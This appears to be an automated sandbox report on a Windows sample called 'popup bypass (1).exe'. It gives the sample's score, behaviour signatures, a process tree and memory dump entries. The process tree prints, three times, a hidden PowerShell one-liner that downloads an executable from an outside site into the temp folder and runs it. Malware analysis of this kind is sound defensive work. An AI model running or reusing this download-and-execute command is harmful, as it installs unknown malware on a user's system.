Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/09/2026, 16:50

General

  • Target
    popup bypass (1).exe
  • Size 20KB
  • Sample260919-vb8jpayy4n
  • SHA256 5105f776ecc703874a73977d2722002d7ab4163e7cc63f18df91ec3eb132652f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\popup bypass (1).exe
    "C:\Users\Admin\AppData\Local\Temp\popup bypass (1).exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK360083.exe; Start-Process -FilePath $env:TEMP\BK360083.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK360083.exe; Start-Process -FilePath $env:TEMP\BK360083.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK360083.exe; Start-Process -FilePath $env:TEMP\BK360083.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2756

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2756-0-0x00007FF8C1CCF000-0x00007FF8C1CD0000-memory.dmp

        memory/2756-3-0x000001EBA9550000-0x000001EBA9572000-memory.dmp

        memory/2756-4-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-5-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-6-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-7-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-8-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-9-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-10-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-11-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-12-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-13-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-14-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp

        memory/2756-16-0x00007FF8C1B40000-0x00007FF8C24E4000-memory.dmp